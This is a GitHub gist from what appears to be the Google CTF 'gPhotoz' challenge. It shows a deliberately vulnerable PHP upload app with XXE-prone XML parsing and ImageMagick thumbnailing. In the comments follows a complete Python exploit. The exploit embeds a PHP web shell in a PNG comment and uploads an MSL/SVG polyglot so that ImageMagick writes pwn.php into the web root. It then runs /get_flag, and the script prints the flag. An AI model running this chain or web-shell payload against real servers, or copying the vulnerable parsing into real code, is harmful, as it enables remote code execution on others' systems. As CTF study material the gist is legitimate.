-
-
Save neex/67d5b47e6ac457edd44a52c772104158 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// require_once('config.php'); NOTE: the line is commened by the writeup author. config.php is inlined below. | |
/* config.php START */ | |
// XXE? Lame. Real hackers get RCE. | |
$secret = 'aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUQ=='; | |
/* config.php END */ | |
error_reporting( E_ALL ); | |
session_start(); | |
// totally not copy&pasted from somewhere... | |
function get_size($file, $mime_type) { | |
if ($mime_type == "image/png"||$mime_type == "image/jpeg") { | |
$stats = getimagesize($file); | |
$width = $stats[0]; | |
$height = $stats[1]; | |
} else { | |
$xmlfile = file_get_contents($file); | |
$dom = new DOMDocument(); | |
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); | |
$svg = simplexml_import_dom($dom); | |
$attrs = $svg->attributes(); | |
$width = (int) $attrs->width; | |
$height = (int) $attrs->height; | |
} | |
return [$width, $height]; | |
} | |
function workdir() { | |
$d = 'upload/'.md5(session_id()); | |
if (!is_dir($d)) | |
mkdir($d); | |
return $d; | |
} | |
function list_photos() { | |
$d = 'upload/'.md5(session_id()); | |
if (!is_dir($d)) return []; | |
$result = []; | |
foreach(glob("{$d}/*.*") as $f) { | |
if (strrpos($f, 'small') === FALSE) | |
$result[basename($f)] = $f; | |
} | |
return $result; | |
} | |
function upload() { | |
if (!isset($_FILES['photo'])) | |
return; | |
$p = new PhotoUpload($_FILES['photo']['tmp_name']); | |
$p->thumbnail(); | |
} | |
class PhotoUpload { | |
private $failed = false; | |
function __construct($path) { | |
$formats = [ | |
"image/gif" => "gif", | |
"image/png" => "png", | |
"image/jpeg" => "jpg", | |
"image/svg+xml" => "svg", | |
// Uncomment when launching gVideoz | |
//"video/mp4" => "mp4", | |
]; | |
$mime_type = mime_content_type($path); | |
if (!array_key_exists($mime_type, $formats)) { | |
die; | |
} | |
$size = get_size($path, $mime_type); | |
if ($size[0] * $size[1] > 65536) { | |
die; | |
} | |
$this->ext = $formats[$mime_type]; | |
$this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}"; | |
move_uploaded_file($path, workdir()."/{$this->name}"); | |
} | |
function thumbnail() { | |
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret); | |
if ($ret) | |
$this->failed = true; | |
} | |
function __destruct() { | |
if ($this->failed) { | |
shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}")); | |
} | |
} | |
} | |
if (isset($_GET['action'])) { | |
switch ($_GET['action']) { | |
case 'upload': | |
upload(); | |
header('Location: ?'); | |
die; | |
break; | |
case 'src': | |
show_source(__FILE__); | |
die; | |
default: | |
break; | |
} | |
} | |
?> | |
<html> | |
<head> | |
<title>gPhotoz</title> | |
</head> | |
<body> | |
<div> | |
<form action="?action=upload" method="POST" enctype="multipart/form-data"> | |
<input type="file" name="photo"><input type="submit" value="Upload"> | |
</form> | |
</div> | |
<div> | |
<?php foreach(list_photos() as $name => $path): ?> | |
<div> | |
<a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a> | |
</div> | |
<?php endforeach ?> | |
</div> | |
</body> | |
<a href="?action=src"></a> | |
</html> |
Nicely done. Thanks for reading our writeup.
np
I think imagemagick still has a lot of bugs to find )
oh ok
automated
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import re
import io
import sys
sys.dont_write_bytecode = True
import base64
import subprocess
import requests
requests.packages.urllib3.disable_warnings()
from bs4 import BeautifulSoup
if __name__ == "__main__":
# convert -size 1x1 -comment '<?php eval($_GET["cmd"]); ?>' "rgba:/dev/urandom[0]" shell.png
# @ http://png-pixel.com
the_png = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII="
the_png = base64.b64decode(the_png)
filepath = "1x1.png"
with open(filepath,"wb") as f: f.write(the_png)
print>>sys.stderr, "=>",filepath
# @ https://stackoverflow.com/questions/44017632/imagemagick-adding-and-reading-comment#answer-44018387
cmd = ["mogrify","-set","comment","\"<?php system('/get_flag') ?>\"",filepath]
print>>sys.stderr, " ".join(cmd)
proc = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
# stdin=subprocess.PIPE,
# stdout=subprocess.PIPE,stderr=subprocess.PIPE,
# shell=True,close_fds=True)
stdout,stderr = proc.communicate()
if stderr: print>>sys.stderr, "err:",stderr
if stdout: print stdout
# proc.wait()
# stderr = proc.stderr.read()
# if stderr: print>>sys.stderr, "err:",stderr
# stdout = proc.stdout.read()
# print stdout
# curl -XPOST -sL "http://gphotos.ctfcompetition.com:1337/?action=upload" -H "Cookie: PHPSESSID=..." -F "photo=@1x1.png"
sess = requests.Session()
baseuri = "http://gphotos.ctfcompetition.com:1337"
resp = sess.get(baseuri)
assert "Set-Cookie" in resp.headers
hdr_cookie = resp.headers["Set-Cookie"]
m = re.match(r"^PHPSESSID=([a-z0-9]{26})",hdr_cookie)
if m:
sess_id = m.group(1)
print "PHPSESSID=%s"%sess_id
hdr = {"Cookie":"PHPSESSID=%s"%sess_id}
the_url = "%s/?action=upload"%baseuri
files = {"photo":open(filepath,"rb")}
# print>>sys.stderr, requests.Request("POST",the_url,files=files).prepare().body
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
resp = sess.get(baseuri,headers=hdr)
html = resp.content
soup = BeautifulSoup(html,"html.parser")
# @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
imgs = soup.select("a[alt] > img[src]")
if imgs: # and len(imgs)==1:
print>>sys.stderr, imgs
upload = imgs[-1].parent["href"]
m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.png",upload)
if m:
img_dir,img_basename = m.groups()
print>>sys.stderr, img_dir,img_basename
tpl = """<?xml version="1.0" encoding="UTF-8"?>
<!-- <svg> -->
<image>
<read filename="/var/www/html/upload/{0}/{1}.png" />
<write filename="/var/www/html/upload/{0}/pwn.php" />
<svg width="120px" height="120px">
<image href="/var/www/html/upload/{0}/{1}.png" />
</svg>
</image>""".format(img_dir,img_basename)
print>>sys.stderr, tpl.replace("\t"," ")
polymorph = io.BytesIO(tpl)
the_url = "%s/?action=upload"%baseuri
files = {"photo":polymorph}
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
resp = sess.get(baseuri,headers=hdr)
html = resp.content
soup = BeautifulSoup(html,"html.parser")
# @ https://stackoverflow.com/questions/38028384/beautifulsoup-is-there-a-difference-between-find-and-select-python-3-x
imgs = soup.select("a[alt] > img[src]")
if imgs: # and len(imgs)==2:
print>>sys.stderr, imgs
upload = imgs[-1].parent["href"]
m = re.match(r"^upload/([0-9a-f]{32})/([0-9a-f]{32})\.svg",upload)
if m:
img_dir,img_basename = m.groups()
print>>sys.stderr, img_dir,img_basename
tpl = """<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
<image width="120" height="120" href="msl:/var/www/html/upload/{0}/{1}.svg" />
</svg>""".format(img_dir,img_basename)
print>>sys.stderr, tpl.replace("\t"," ")
step3 = io.BytesIO(tpl)
the_url = "%s/?action=upload"%baseuri
files = {"photo":step3}
sess.post(the_url,headers=hdr,files=files,allow_redirects=False)
# the_url = "%s/upload/%s/pwn.php?cmd=system(\"/get_flag\")"%(baseuri,img_dir)
the_url = "%s/upload/%s/pwn.php"%(baseuri,img_dir)
resp = sess.get(the_url,headers=hdr)
print resp.content
# CTF{8d62b2ffc578227e67ca8bab53420ded}
sess.close()
Nice!
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Nicely done. Thanks for reading our writeup.
I think imagemagick still has a lot of bugs to find )